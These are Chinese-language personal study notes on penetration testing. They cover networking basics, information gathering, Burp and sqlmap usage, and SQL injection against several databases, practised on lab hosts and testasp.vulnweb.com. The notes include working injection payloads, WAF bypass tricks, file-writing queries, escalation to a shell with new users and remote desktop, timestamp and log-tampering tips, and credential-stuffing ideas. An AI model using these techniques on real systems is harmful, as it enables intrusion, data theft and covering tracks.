渗透测试再学习

基础知识

术语

image-20210225231605878

没有绝对的安全!就算是 VPN+肉鸡也能也会被反查!

但是这已经是最安全的了!多台肉鸡!!!

image-20210225231240925

poc 漏洞验证!

exp 漏洞利用!

poc就是不痛 id=1 没有危害的!

exp就是直接利用!id =1 union select admin,pass from users;

去公司渗透流程会教! 渗透水平不教!

vm虚拟机:

直接可以打开:03.vmx 文件

虚拟机的网站,主机怎么访问:

nat直接通过主机上网

仅主机 (只能本地去测试!)不能上网!也可以上网但是要设置!和主机同一网段!能相互访问!一般主机测试用!

桥接!和主机同一网段!能上网!

image-20210226112930716

哪怎么外网可以访问呢?

加个路由器

xp win7 2003 2008 2012

xp 2008 ttl=128

win7 xp 64 一个路由器-1

虚拟机网站怎么发布出去:

首先的桥接!在同一网段!

打开路由器端口映射功能!

image-20210226114349221

外部访问我的的外网ip99端口 路由器 就会直接映射到内网ip的99端口上!

就可以在外边穿梭了!直接百度查外网ip!

image-20210226114656629

噢噢噢噢!

这样就可以直接外网加端口!对应内网网站了!(一般都是桥接)

我测试了!现在不行了!以前可以!这个教程太早了!

学长给了个方法!用frpc

学长说现在的路由器ip还是内网ip!(这点不是很理解!)

http

image-20210218154321768

image-20210222172737487

目录:403

菜刀连接 500

win不区分大小写

linux区分大小写!

index.php index.pHP

/admin/index.html 伪静态

爬行!再看!

x-forwarded-for

client-ip

refere可以都要注入

image-20210226140135276

一台服务器搭建多个网站!

端口:不同ip 域名

不同ip

不同端口

不同域名

拉跨了!不知道为啥!搭部起来!直接的index.asp可以!可能他的源码有问题!

没用zkeysphp

直接用的phpstucy php mysql环境

最后好了!

一开始死活访问不到!有突然可以访问了!

端口

21 |20 ftp

80 http 443 https

53 dns

67|68 dhcp

69 tftp

445 smb

3306 mysq

1433 sqls

1581 ol

5432 pgs

22 ssh

23 telent

25 smtp

110 pop3

3389 远程桌面

image-20210227113604033

win

image-20210227114113622

image-20210227205151126

C:\Windows\System32\drivers\etc\host

C:\Windows\System32

C:\ProgramData 木马常放的文件

C:\Program Files 配置文件

temp 临时文件

C:\Windows\System32\config\sam 密码文件

提权!!!***

image-20210222113522429

image-20210222120149455

image-20210222120527746

image-20210222121240805

image-20210223111502262

image-20210223113327040

补充:tasklist

taskkill /f /m qq.exe

msg

linux

要会在linux下会搭建网站!

image-20210223123032092

image-20210223123135943

image-20210223123648121

uname -r/-a

hostname

cat /proc/cpuinfo

cat /proc/meminfo

cd - 返回上次访问的目录!

cd ~ 返回root下

ls -R 递归显示

image-20210223131113653

image-20210223131241642

touch *可以用来修改时间 迷惑一下管理员!np

有原文件的时候!touch不更改它的内容!只会改他的时间!

image-20210223132111612

image-20210223132955351

image-20210223133653199

image-20210223134046902

set nu 设置行数

vi里替换

s是search

:1,4s/gg/aa 修改1到4行里的内容!!!

:e!恢复最初状态!

一般最后清理日志痕迹的时候用!

image-20210223134507925

history命令比较重要好用

压缩

image-20210223134845940

image-20210223134908793

image-20210223135217240

gzip -9 a.tar a.tar.gz 压缩

tar -cvzf abc.tar.gz a.pl hack.php 打包并压缩!

解包并解压: tar -zxvf a.tar.gz zxvf 顺序不能变!tar -xvzf abc.tar.gz

image-20210224150128370

image-20210224151547742

image-20210224151646364

image-20210224151939679

不是/bin/bash就不能调用命令行了!

image-20210224152328169

image-20210224174732397

ps -aux

top查看进程!

网络

vps|vpn

vps就是服务器

vpn 就是可以搭到vps上!

原理:就是相当于 外面有点服务器,DHCP给你分了个IP 当你看外网就通过这个ip看!

防火墙就是拦截一些流量的!不能杀毒!

路由是寻找路径的过程!路由器具有路由的功能!

路由器+交换机+pc ==内网 这样内网就可以访问外网了!通过路由器转发!

因为ipv4少 所有分成了 内外网

老师说 ipv6 可以就没有内外网了!

路由器的内网地址就是网关!就是出接口!

DHCP就是谁给你分发ip!我这个好像也是路由器分发!

如果你现在无法联网,你可以打电话到你的网络服务商咨询,网络服务商就是你交网费都交给谁了,他就负责告诉你DNS服务器的地址。

image-20210227231948636

image-20210227232057361

家里的路由器可能集成了交换机的功能!所有直接一个路由器搞定!

我看了看家里的!那个光猫 是无线设备!!!🙄不对!反正 网线-》猫-》路由器 就上网了!🙄

好像也有直接集成无线功能的路由器!

image-20210227212948424

交换机就是把线分多了!路由器自带的口少!用个交换机再分!

网络技术局域网!

通过运行商的路由!

可以理解成路由!把数据包全国各地的传!这样每个地方就可以互相访问了!

image-20210227213543929

再 运行商再互联!

再城市再互联!

就是通过运营商把大大小小的局域网串联起来!这样就可以访问了!

中国就是一个局域网! 想看外边!就要通过vpn! 让他给你给外边的ip!再访问!

vpn 首先中美是可以连通的!

image-20210227220041328

isp运营商!

暗网是不通过运营商的! 它直接tor!

image-20210227231222972

image-20210227231312888

简单的说是万物互联形成互联网!

image-20210224180828145

osi

image-20210227232505787

上图:下面传输数据!上面可能是加密的!

image-20210224181039540

物理层–》网线

数据链路 –》网卡 可能是把 网卡可能是物理!也可能是这个! 交换机是这个层的!

网络层 –》 路由器!

传输层-》 两台pc 通信

会话 -》就是会话 管理

表示 -》处理数据包 数据

应用 -》 就是 QQ

tcp|ip

image-20210224181328859

渗透用tcp|ip协议

image-20210227233358004

qq发信息 是应用层

通过tcp 是传输层

写个地址ip 是网络层

局域网通信 数据链路层

MAC地址 物理层 局域网是通过mac地址通信的!

ip地址

image-20210227233635243

最大最小不能用!

最大是广播地址!

image-20210227233832139

通过子网掩码 来看! 看主句位!子网掩码255是填满的!

image-20210224181842528

5类地址!abcde

127除了 255 255 255不行 其他都是本地!

路由

image-20210227235112544

路由 数据包转发!

image-20210227235251924

image-20210227235350761

就是发出 和 接收!

image-20210227235419351

转发通过路由表! 不能直达!

网络节点 说的就是电脑!

交换机

内网 通过交换机来上网!

面试一般问:

arp欺骗原理!

渗透思路!

kali!

通常用kail里的工具吗!漏洞扫描用那些工具!

image-20210228000525211

image-20210228000559475

简单说 有直接通信!没有 广播再通信!🙄

arp协议 查ip对应的mac地址!

中间件攻击:

image-20210228001442663

先去欺骗 a!收到 a的发的数据包!

再去网关 .!收到 发送给a的数据包!

攻击条件:

1 arp表多态获取!

2 和攻击的服务器在同一网关下!

外网 服务器

c段可不一定在一个局域网里!

html

image-20210228112659904

学这个,主要是xss

asp木马:

Description: 类型不匹配: ‘execute’

这个如何解决呢?

想出了一个好办法,只要用”eval”替换掉”execute”,就不会出错了!

信息收集

image-20210228124915890

whois 收集目标信息!还可以反差!看看还有没有其他域名! 攻击其他站!可能撞库!

子域名:重

image-20210228131837501

c段和旁站!:

旁站就是同一个服务器上的网站!

c段:买了一段服务器,相当于一个内网!拿了内网里一台服务器权限,相当于可以内网渗透了!通过这台服务器跳到另一台服务器上!

查旁站的话,直接网站查算了!找了找k8和御剑 好像有问题!🙄

image-20210228173211124

网站搭配

win linux

iis 5.0 6.0 7.0 对应有响应的漏洞!

tomcat jsp

iis php asp aspx

apache nginx php

waf d盾| 安全狗|360 。。 试一试就出来了! 还有自己写的waf

image-20210228173821577

谷歌|百度好像一样!

现在判断注入:

/报错,-0返回正常!

and 1=1不行!有狗!

世界各国各个国家网址网站域名后缀名国名英文缩写/简称对照表

不同国家的域名不同!可以搞搞国外的站!

一个域名对应多个IP

一个域名最多能对应几个IP地址?,一个IP地址可以绑定几个域名?

一个域名可以多个ip地址!负载均衡就行! ip嘛当然可以多个域名了!

后台扫描:

image-20210228181934456

听着听着!听到了逻辑漏洞!

就是:举个例子:后台是 admin.php/?mod=login 那你改一下:admin.php?mod=logined 说不定就逻辑登录了!

可能理解不太多!以后遇到文章再看!

CDN

站长 多ping

CDN是提高访问速度!集权是响应速度!

有了CDN怎么找到真实ip呢:

image-20210228182905561

其实把看子域名!也是看旁站! 我感觉:域名-》找ip->找ip的旁站-》如果没拿下那个ip的话看看c段-》从其他ip入手(相当于玩内网渗透了!)-》

所有 我理解的子域名挖掘: 可以看旁站,再看看c段上的站!🙄 可能在一个局域网里!怎么判断在不在一个局域网里我还不知道!

让服务器主动给你发包: 注册,修改密码等!

为啥看子域名呢.因为一般主站才有CDN ,旁站没有!看旁站也可以直接找到服务器ip!

Cms *

织梦dedecms 的数据库密码 MD5加密可能是 20位 前去3 后去1再去解密!

一般学校|医院要排名的 可能是织梦

博客可能是 wordpress

image-20210223184127220

image-20210223184231519

a php my

asp access sqls my

aspx sql

jsp sqls

信息收集总结一下

总结一下: 往大的说: 拿到个站点,先去扫下目录,不行,去看看旁站,再不想,看看在同一c段的!

往小的说:当然拿到站点要分析站点: whois查询,cms,看看有没有cdn!整站的分析!服务器类型,网站容器,脚本类型,数据库类型,cms,waf!

漏扫工具

image-20210228224502635

个人感觉:还是awvs|burp|appscan好的 要不就是 net |safe 椰树和M7比较偏cms漏洞扫描!用了用不知道是不是时间太久了!还是咋了!不是很好用椰树和M7!net |safe也没awvs和burp好用!

appscan也不好使!

漏扫工具可能因为网速原因!不太好使!多扫几次!

burp学习:

image-20210301215900667

一个字典

1单个扫描: 扫完第一个扫第二个

2 同时扫描 (用户名和密码一样的!) 可能公司和学习的 帐号和密码一样!可以用这个top500用户名构造 字典 来撞库!

两个字典

3 分开获取数据! 就是去 n m的最小值!

4 n * m获取数据!

Repeater:

有的网站!sql注入他把报错隐藏了!就是接收的数据包里有!就是前端优化了(发现报错直接跳转主页面)!

黑客的迂回“打法”

看旁站!

image-20210301231616437

image-20210301231651488

搭建站点的3个方法 ip 端口 域名

一般是端口搭建! 多域名可以扫一扫! 端口的话,也可以扫一扫!

多扫一扫!就能找到旁站了! 域名和端口多扫一扫!

如果用端口搭建站点的话!一般会搭建在高位端口! 8001 8002 .。

工具可能受网络的影响,多扫几遍!

image-20210301233722723

好像还有cms漏洞扫描工具等等 还有cve 的扫描工具的!

批量扫描漏洞: burp|awvs|appscan

小的漏洞总结:

暴库:就是直接可以下载access 数据库的文件!

目录遍历: 直接可以搜出来! 谷歌黑语法:转到父目录 inurl:.mdb

image-20210302152700797

image-20210302152804872

下载漏洞:就是下载的路径可控!

image-20210302153213924

是access下载 .mdb 是mysql sqlsevser 下载 配置文件

管理后台登录:

image-20210302153520151

exp利用:直接搜索 cms漏洞!先url采集!

url采集: 直接用工具|goodle

image-20210302161212087

编辑器

编辑器:怎么理解呢: 就是 后端可以直接生成页面的东西! 就是把文件通过编辑器直接生成前端页面!

按数据库类型分:

0x03 MySQL与MSSQL及ACCESS之间的区别

1.MySQL5.0以下没有information_schema这个默认数据库

2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释

3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)

access

存储是小的!

他就是文件构成的!放到网站根目录下!

一般是.mdb

sqls贵

只要执行了语句就存在注入: id= 31 * 1 31/ 31-1 31+1-1 31.0 31.1

常见的access表名:

image-20210302175417330

image-20210302175725290

又去看了看sql!

在您的网站中使用 SQL
要创建一个显示数据库中数据的网站,您需要:

RDBMS 数据库程序(比如 MS Access、SQL Server、MySQL)
使用服务器端脚本语言,比如 PHP 或 ASP
使用 SQL 来获取您想要的数据
使用 HTML / CSS
RDBMS
RDBMS 指关系型数据库管理系统,全称 Relational Database Management System。

RDBMS 是 SQL 的基础,同样也是所有现代数据库系统的基础,比如 MS SQL Server、IBM DB2、Oracle、MySQL 以及 Microsoft Access。

RDBMS 中的数据存储在被称为表的数据库对象中。

表是相关的数据项的集合,它由列和行组成。

其实只要会sql语句!sql注入基本上也就会了!不要怕数据库多!其实都是通过sql操作的!

六:Access

Access数据库属于文件型数据库 所以不需要端口号

image-20210224183410273

image-20210223185524527

image-20210223204906125

and exists(select * from msysobjects)>0

image-20210302183320745


自己想了想:

use security;
SELECT username from users where id=0^(ord(SUBSTR((SELECT username from users limit 0,1),1,1))>50);


use SECURITY;
SELECT 1^((select ascii(SUBSTR(username from 1 for 1 )) from users LIMIT 0,1)>500) ;

其实就是sql语句的特性! 跟学c|py|java|php等等一样!

image-20210223212346016

他的数据库里表名和列名 靠猜的!🙄

再写exp跑处数据!

或者直接联合!处数据!|报错也能出把!

关键是access没有像mysql一样放数据库名的地方!只能靠猜!!!🙄

image-20210225112743162

image-20210223212331273

image-20210223212634841

偏移注入

image-20210224133231662

image-20210224133144375

SQL注入之偏移注入(Access)

注入原理

假设一个表有8个字段,admin表有3个字段。

联合查询payload:union select 1,2,3,4,5,6,7,8 from admin

在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错

直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段

然后通过移动admin.*的位置,就可以回显不同的数据
扩展

在某些情况下,通过偏移注入,我们获取不到想要的数据怎么办,

假设表中存在id字段

首先给表重命名 admin as a admin as b

获取id 一样的字段 admin as a inner join admin as b on a.id=b.id 这样做我们可以打乱随机顺序,不过这样之后作为一个整体查询,字段数要乘以2

payload:union select 1,2,(admin as a inner join admin as b on a.id=b.id).* from admin
这句话我试了试有错!

就是一下子变成了6个字段!
select * from pp where b=-1 union select 1,2,4,5,6,7,8,9,id ,0 from referers LIMIT 0,1;

爱tcl
mysql也是可以直接菜表的!再利用!都是一个原理!

image-20210302200943475

p是7个字段!

referers是4个字段!

通过换位置,来得到自己想要的回显:

image-20210302201404030

image-20210302210310962

两列也是可以回显第一例的!

不知道是不是mysql还浏览器的原因 不能直接用 * 必须 referers.* 这没啥!注意就好 写上就不会有问题了!

image-20210302210959851

就是位置的不同拿到密码!

方法2:

拿出我的

http://192.168.218.140:8003/news_detail.asp?id=107 测试:

http://192.168.218.140:8003/news_detail.asp?id=107 UNION SELECT 1,2,3,4,5,6,7,8,9,* from admin_user

是可以运行的!
用join

http://192.168.218.140:8003/news_detail.asp?id=107 UNION SELECT 1,2,3,4,* from (admin_user as a inner join admin_user as b on a.id=b.id)

可以运行!注意 inner不能掉 最后a.id=b.id不能掉 里面不能加a.id|b.id

用join 这我tm ai tcl 无能咆哮!😫

这个原理玩的理解:是

就是 3+3 就是原来 字段的2倍!

image-20210302212320916

因为它占用的字段多了!

就把回显的点 又站住了!就显示出来了! 和换位显示结果是一样的!

就可以看成:

1,2,3,4,5,6,7,8,9,10,11,12,13,14

1,2,3,4,*

*就是里 5+5 10列数据的第一行 因为不知道有几行:

看回显的位置: 因为5-14行被站了!

5 | 7 | 10 能回显

猜一下:字段应该是: id usrname pass date 还有应该不知道

但是 5 6 7 对应的应该是 id username pass

所以7的位置上就会显示 password 5的位置是id号

我一开始以为都会回显!去源码里找,没找到!

感觉把!不如换位置好! 换位置,你猜一猜字段,猜pass字段在第几个!然后自己换位置让它爆出来!

还又第二种方法(这用join 就算换位置也不改变数据!)

好有 直接用 * 和表名.*的结果不一样!

最好用第一种方法换位置 写 表名.*

image-20210302213152264

image-20210302214141034

image-20210302214407452

发现第二种方法换位置没变数据 :

相当于:1,3,4,5,*

也可以猜一猜字段:去元素里看看!

image-20210302232142083

image-20210302234036116

image-20210302234018851

跨库查询:

image-20210302234322148

a上有sql漏洞: b的话你要字段 表名和字段名 access数据库

就是access 不是直接在网站目录下嘛!就相当于 因为access数据库没有数据库名!

这里可以理解 把路径当成数据库了!

image-20210302234808363

就是直接看其它网站access里的数据了! 不过要知道 其他网站数据库的 表名和字段名!

image-20210302235236422

写文件

image-20210302235254044

还是用sqlmap写的香!

image-20210302235453249

挖掘0day

0day只能去代码审计了!!!啊啊啊啊 。😫😫😫

image-20210303000133972

image-20210303000115018

sqlserver|mssql

考试|大学|棋牌|政府|oa|游戏|人事考试网站!

asp

aspx +sqlserver

1433端口

管理员:sa 密码:

image-20210224184533841

image-20210224185136840

如果版本不对应!

直接生成脚本!

就是哪sql语句脚本。那到自己的电脑在还原|执行!

image-20210224205455743

guest可以读去帐号密码!

一般存放调用数据库的文件:

conn.asp

dbconfig.asp

aspx

web.config

image-20210224205833942

image-20210224205920472

image-20210303225843574

image-20210224213755682

http://testasp.vulnweb.com/showforum.asp?id=1 and 1=1

and(select/**/count(*)from/**/sysobjects)>0

http://testasp.vulnweb.com/showforum.asp?id=1/**/and(select/**/count(*)from/**/sysobjects)>0

and(select/**/count(*)from/**/msysobjects)>0

and (select count(*)from/**/msysobjects)>0


and 1=(select IS_SRVROLEMEMBER('sysadmin'))

image-20210303223900471

还是去找找位置就懂了!

image-20210303224011247

它把点取得了!五日 我说一开始咋找不到呢!

还有一点: 不等于是 <> 🙄

image-20210303224331590

db_name

image-20210224214109045

and/**/1=(select/**/top/**/1/**/namefrom/**/master..sysobjects/**/where/**/dbid>4)
and 1=(select top 1 name from master..sysdatabases where dbid>4)

where dbid>5 |>6

image-20210224214203197

for xml path 自己报错注入 爆全部!

image-20210224215650882

image-20210225105259423

又想了想:这是啥注入呀!

不是报错注入呀! 好像是! 哦! 就认为 报错把sql语句执行了把!这归为那种注入有点难!

就是执行sql语句了! 这种 猜测一测应该就知道了!

哦哦,sqls 创建数据库的时候:是 自带 dbo.的

所以sys不用带 这解释有点牵强!

image-20210225105712957

image-20210225105806677

为啥呢:

通过sysobjects里的id列 找 对应 syscolumns里的id列!!

🥱

image-20210303232656293

大小写让waf

%0a 绕过正则 + %20 /**/

image-20210225105815492

image-20210225105934062

提权

当你是sysadmin权限时 打开 shell

就可以直接创建用户和远程桌面!

image-20210225121617837

image-20210225121748283

远程桌面:

image-20210225121952393

image-20210225122135693

image-20210225122218291

image-20210225122246743

mstsc

image-20210225124103489

看他的视频不知道为什么,总感觉很爽!

内网 ,外网

内网开了:3389 让他去占用80

为什么呢!因为路由器可能只转发80端口!那外面网络访问的时候,自动转发到内网的80端口!

占用后,就可以自动转发到远程桌面了!就可以登录了!getshell后最后再改回来!

一般晚上玩!

image-20210225124530192

dbowner权限攻击

image-20210225125007112

image-20210225125115125

mysql

create xxx;
create table admin(username cha(50),password char(50));
insert into admin(username,password) values('admin','md5('pass')'),('admin2','md5('pass2')');
update admin set password='123456' where username='admin2';
delete from admin where username='admin2';
delete * from admin;跑路!
delete from admin;删除所有数据!
drop table admin;
drop database `111`;

image-20210225135456731

这里没又concat函数 等等 自己搜吧!c

concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)  类似字符串拼接!
group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
就是把当前字段里的,每行数据拼接到一起
concat_ws():用法类似

image-20210304215516136

image-20210304215529973

image-20210304215555424

发现就group_concat能全爆出来!其他不行!

16进制

image-20210304215830583

安装路径重要!

image-20210225140154487

不在网站根目录!去data|include里看看!

.inc.

image-20210225142545415

image-20210225164108585

绕过waf 还是正则的话:

就去污染参数: %00 a%00nd a%0and

16进制绕过

绕过过滤了% 用 chr | char 绕过

image-20210304212421382

联合

image-20210304214256069

表名直接用16进制代替!

image-20210304214436269

4.0没 information

可以用sqlmap用字典跑!

显错注入

大佬说有10方法!自己找找!

https://blog.csdn.net/whatday/article/details/63683187

上面有点不行!需要版本限制!都试一试!

mysql4.0的直接sqlmap跑算了!

image-20210225164528751

L

image-20210225164722572

image-20210225165051227

image-20210225165849373

万能密码:

读文件:

image-20210304234431847

爆网站路径

下面那个是iis网站信息! 可以爆网站路径

爆网站路径 最常见的是上传! 在bp里可以看见报错 爆出路径!

image-20210225170853923

image-20210225170650537

无论linux还win都写出斜杠好点!

win也写成斜杠!不要反斜杠!

记住都是斜杠就好了!

16进制 在括号里可以!外部不行!

获取网站根目录

1报错可以!

读写文件

image-20210225170955085

image-20210225171136694

image-20210225171302494

一看是root权限!可以写文件!

image-20210225173732979

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,'adada' into outfile 'g:/222222.txt' %23

select into outfile问题一则

image-20210225175042363

宽字节注入

image-20210225175304897

就是单引号被转义了!输入admin'   变成admin\'
这时候可以想想宽字节注入!
直接sqlmap 价格脚本绕过
unmagicquotes

一般是php5.2 magic_quotes_gpc 导致的 会把'--> \'

image-20210225175907168

image-20210225180753118

Hr-Papers|宽字节注入深度讲解

oracle

oracle: 航空 | 物流 |银行 |铁路|淘宝 |大学 大的结构都用 太贵了!大公司用

image-20210305144122602

image-20210305144705521

oracle网站搭配

可以 : asp+or

aspx +or

jsp +or

tomcat + or + asp |aspx |jsp

和access注入 一样!

第一种注入:

image-20210305145954862

把 数字都替换成 null

然后找到非数字类型列! 再加上sql语句就可以爆破了!

dual就是 inform 可以这样理解!

image-20210305150219421

数据 和mysql一样的 user() database() 就是变长了!

image-20210305150939249

像这样一样注入!

image-20210305151327265

爆表:

image-20210305151438018

image-20210305151553319

爆其他数据库的话!我感觉 可以变rownum=2 百度把! 🙄 感觉是这样!

爆列:

image-20210305152202455

image-20210305152303494

image-20210305152501188

image-20210305152350037

1 2 数字用null替换!

思路还是一样的!库-表-字段-内容 暴库的话 个人感觉是换 rownum=2|3|4等等!以后再看看!

我感觉也可以直接一下子爆全部表用 字符串拼接:

Oracle字符串连接的方法

第二种注入:

和access一样 考猜!

image-20210305153549152

猜表名!|列名

猜表名!|列名! 可以用 bp+字段跑😀

image-20210305154216899

猜到列名爆数据!

感觉爆内容用我自己写的好点:

select 1 and ((select ASCII(substr(
username,1,1)) from c LIMIT 0,1 )>0);

image-20210305155118922

最笨用py写3层for循环也许!不过算了!身有体会! 二分真好!😫

postgresql

国外的多!外贸

php+pgs

日本多

Postgresql注入笔记

PostgreSQL与MySQL语法直接的差异及PostgreSQL注意事项

Postgres注入方式总结

image-20210305184756545

image-20210305184849721

+and+1::int=1--

和oracle一样不能用数字

先去找字符列!然后爆数据:

||是字符串连接 这个mysql不是 好像每个数据库字符串拼接不一样 搜一搜

image-20210305185257051

image-20210305185707493

image-20210305190421269

image-20210305194202034

image-20210305194341767

sql注入其他类型

image-20210305200045591

get注入常见:不说了

post注入

post注入。登录框,注册,搜索,上传,修改

看数据包!

登录的验证码!http都可能有注入!

自己sqlmap

--form  默认选择表单
-r REQUESTFILE Load HTTP request from a file
-r c:/1.txt
-r c:\1.txt
在里面加个 * 号 指点注入点! 下面那个可以加到 %5b das*%5d这样加

--flush-session 清空会话信息。清空缓存

--data=DATA 指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"


日了!黑盒测试的就是试一试|看报错! 白盒可以代码审计了!

大佬讲了个post注入!居然可以改参数的变量! 注意是变量不是值!这一般是白盒测试出来的!黑盒靠运气!

%5b %5d 是[] 在这加上’ forward居然有报错!🙄

image-20210305202423163

image-20210305202117108

image-20210305202514171

'=(select group_concat(username,0x3a,password) from c_admin where id=1 )# 解码后

一般bp后url编码下!因为bp自带url编码! 其实浏览器发包都是url编码了!bp抓的是编码后的!

直接插入payload:

插到 ]之前

image-20210305202810924

cookie注入|中转注入

image-20210305203604321

一般get型有🐕 试一试cookie看看能不能注入!

--cookie   "id=27" --level 2    把注入点放到--cookie后面
--threads=THREADS 开启多线程,默认为1,最大10。和 --predict-output 不兼容。

image-20210305205022680

把get参数放到cookie里!

和我之前想的不一样的!我以为是cookie里自带的参数有注入!可能这也是一种方法!

image-20210305205227680

image-20210305205242870

发现有变化!这可能是程序出错了! 又想了想 就 是在cookie里自己添加一些sql语句试一试,看看结果!就知道有没有注入了!

手工:cookie中转

image-20210305210109144

image-20210305205705504

就是把浏览器cookie改成 id=30 and 1=2

之后直接提交页面!因为浏览器保留的原来的cookie

如果又注入!一提交页面就会报错! 下图:

image-20210305205836603

就是在浏览器里手工注入! 感觉直接bp好!但是bp不能直接显示出来,不好观察!

参数型注入:

数字型,

字符串型 就是看id是整型还是字符串! 举个例子! 闭合的思想!

注意: 字符型注入 不一定是数字了! 字符串也可以! id=art20 也是可以注入的! 因为是闭合思想嘛!

搜索注入: 就是搜索框注入!

就是搜索内容 传到参数里了!

image-20210305210544145

搜寻型注入

image-20210305210619625

SQL 通配符

image-20210305210952129

image-20210305211559054

SELECT*from c;短版
想了想他的源码 :

SELECT*from/**/c/**/where username like "'%".$id."%'";
应该是这样写到!
或者:
SELECT*from/**/c/**/where username REGEXP"'%".$id."%'";

不能直接:SELECT*from/**/c/**/where username='ad%';试了试不行!

所以闭合思想:id = dadadada%' and 1=1 '%'='
'% dadadada%' and 1=1 '%'=' %'

还是可以用sqlmap跑的!

和post一样! 可能也是get

image-20210306114451986

伪静态注入!

phpweb

image-20210306115845786

就是有些页面静态化了!

baidu.com/xx_stid/12.html

可能: baidu.dom/xx.php?stid=12 这样也可能访问!

爬行网站!

还原成动态的! 测试案例:

image-20210306115149267

加个’ 号

再 110 and 1=1 又可以了! 说明又注入!

image-20210306115239685

这种 就是把伪静态 还原成动态! 看它语句 猜动态 语句!爬行 看脚本语言!

加个* 和sqlmap跑!

qlmap.py -u www.xxxx.com/product/detail/id/3*.html --dbms=mysql -v 3 

渗透日记-利用SQLMAP伪静态注入

延迟注入

image-20210306115757373

payload:

id= 1 and sleep(5)

image-20210306120503609

like in  =  之间的替换  不一样!

like 和 = 可以直接替换
in的话 是 在 where 后面可以替换!用在其他地方不能替换!
IN 与 = 的异同

相同点:均在WHERE中使用作为筛选条件之一、均是等于的含义
不同点:IN可以规定多个值,等于规定一个值

base64 编码注入:

image-20210306124853066

有些站 会把 id的值 编码!!

sqlmap base64encode

sqlmap.py -u "?id=1"  --tamper='base64encode.py'
放到sqlmap里时!id是解密后的! 不让跑不出来!这个好理解!

二阶注入

image-20210306125552327

​

第一次构造!第二次 爆出!

image-20210306125849417

image-20210306125909695

攻击存储的话!要通过白盒审计号挖一点! 就是 看源代码构造! 黑盒就 乱插单引号 试一试把!🙄 碰碰运气!

image-20210306130231956

插入构造语句! 在访问 就可以显示结果! 攻击存储!

image-20210306130332559

攻击存储! 就是 在数据库里插入了sql语句!你再次 查询的时候 把插入是sql语句带入执行了!就造成了攻击! buuctf里又这种白盒的题!

就是注册页面 插入sql语句! 查询页面 带入执行了!

phpv9 authkey注入

去网上找 那个漏洞!直接exp利用!

是个中转注入! 把数据传递过来了!

中转注入

中转注入

我理解的中转注入 就是 get | post 都不穿数据 他用 re接收数据(re方便接收)!

这时候 get | post不传数据 用 cookie传数据 因为:

request对象可以接受的数据
1,get
2,post
3,cookie
4,存储在客户证书中的所有的字段值
5,所有的服务器变量值

常常get|post可能又防护!waf|🐕
cookie防护低!

Http头注入

http头里的参数可以又注入!

就是http头发生给服务器,服务器呢可能 处理http头的数据并带入数据库! 简单说 就是http头里的数据也和数据库交互了! 凡是和数据库交互都可能有注入!

referer| xff| client-ip|agent

p2p网站 P2P金融

就是可能登录的时候会记录ip 什么的 就和数据库有交互了!下图:

image-20210306135440292

这中插入注入! 可以:构造exp 就是 构造 先插入再查询!

image-20210306135718553

insert into 注入

INSERT INTO  table_name  VALUES (value1,value2,value3,...),(value1,value2,value3,...);

就是这给东西! 我之前想的是 用堆叠注入! INSERT INTO table_name VALUES (value1,value2,value3,...); select * from admin; 但是这个不一定能显示出来!🙄

image-20210306141130838

自己试一试:

image-20210306142236721

image-20210306142651145

image-20210306143046150

代码审计之SQL注入:BlueCMSv1.6 sp1

大佬写的有!!!

主要是我感觉 root的时间不对 所以想自己试一试! 它这个时间是乱的!不用管!

xml实体注入

image-20210306133739227

xml作用: 数据转存|数据传输!

image-20210306133929991

把接收的信息保存到xml文件里!

和 xss可像 是标签的闭合!

就是通过标签的闭合!来达到注入!和sql注入不一样!都没牵扯数据库!

image-20210306134157098

java里可能用的!

就是通过构造xml文件里的信息! 爆出需要的信息!

image-20210306134639976

就是 插入 xml的语句执行了!

sql注入怎么挖

看见能输入的地方就试一试! adada’

加个单引号试一试!

/
-0
'
"
\
%bf'
--os-shell

E:/php/PHPTutorial/WWW

拿到shell后还是直接上传大马提取快!!!
--sql-shell 不能写文件 into outfile 不能写!
execution of non-query SQL statements is only available when stacked queries are supported
只有在支持堆叠查询时,才能执行非查询SQL语句

image-20210225213249670

post也很多!

post一般
注册:
登录
修改个人质料
上传文件
留言
搜索框

sqlmap跑post的时候!在注入点价格*

image-20210225220903844

burp抓包时进行url编码一次!post的时,在burp里测试里添加%df

看下面!他是进行了url编码了!

image-20210225221338231

--forms 在目标URL上解析和测试表单。
-f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息。


sqlmap学习

burp   sqlmap nmap awvs hydra appscan msf  

image-20210306143501556

-h 
-version
--flush-session

image-20210306164715477

--current-user
--current-db
--is-dba 看当前权限 dba权限大 DBA:TRUE

除了

access 和mysql<5.0   直接爆表  没库

image-20210306165119009

--dbms=mysql

image-20210306165342415

--users 爆全部用户!

--schema --batch --exclude-sysdbs
--schema 目标数据库数据库系统管理模式。
--exclude-sysdbs 除了系统数据库。
--batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。

image-20210306170621338

--level 
就是 全方位测试 多payload测试

image-20210306171000260

-v 显示   测试信息

image-20210306171254307

--risk  

image-20210306171618796

批量测试:
sqlmap.py -m c:/1.txt

image-20210306174819386

-g  "inurl:php?id="   批量检测注入!
这个不好用!

image-20210306181025322

--data=DATA 指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"

image-20210306181343017

默认是&分割参数!   
--param-del=PARA. 指明使用的变量分割符。例: -u "www.abc.com/index.php?id=1" --data="name=1;pass=2" --param-del=";"

image-20210306181717883

--referer=REFERER 指定http包中的refere字段。例: --refere="aaaaa" 在level>=3时才会检测refere注入。

-H --headers 额外的header头,每个占一行。例:--headers="host:www.a.com\nUser-Agent:yuangh"
--headers=HEADERS 跟上边一样,再举一个例子: --headers="Accept-Language: fr\nETag: 123" 注意所有构造http包的部分均区分大小写

就是构造http头的数据!
但是不进行sql测试! sql测试要指定 level

image-20210306182534753

--delay=0.5
--timeout
多线程 1秒几次访问它!
delay: 请求和请求之间间隔多少秒, 默认没有间隔,可能会被频率控制拦截
timeout: 请求执行超时时间,单位秒,默认是30s
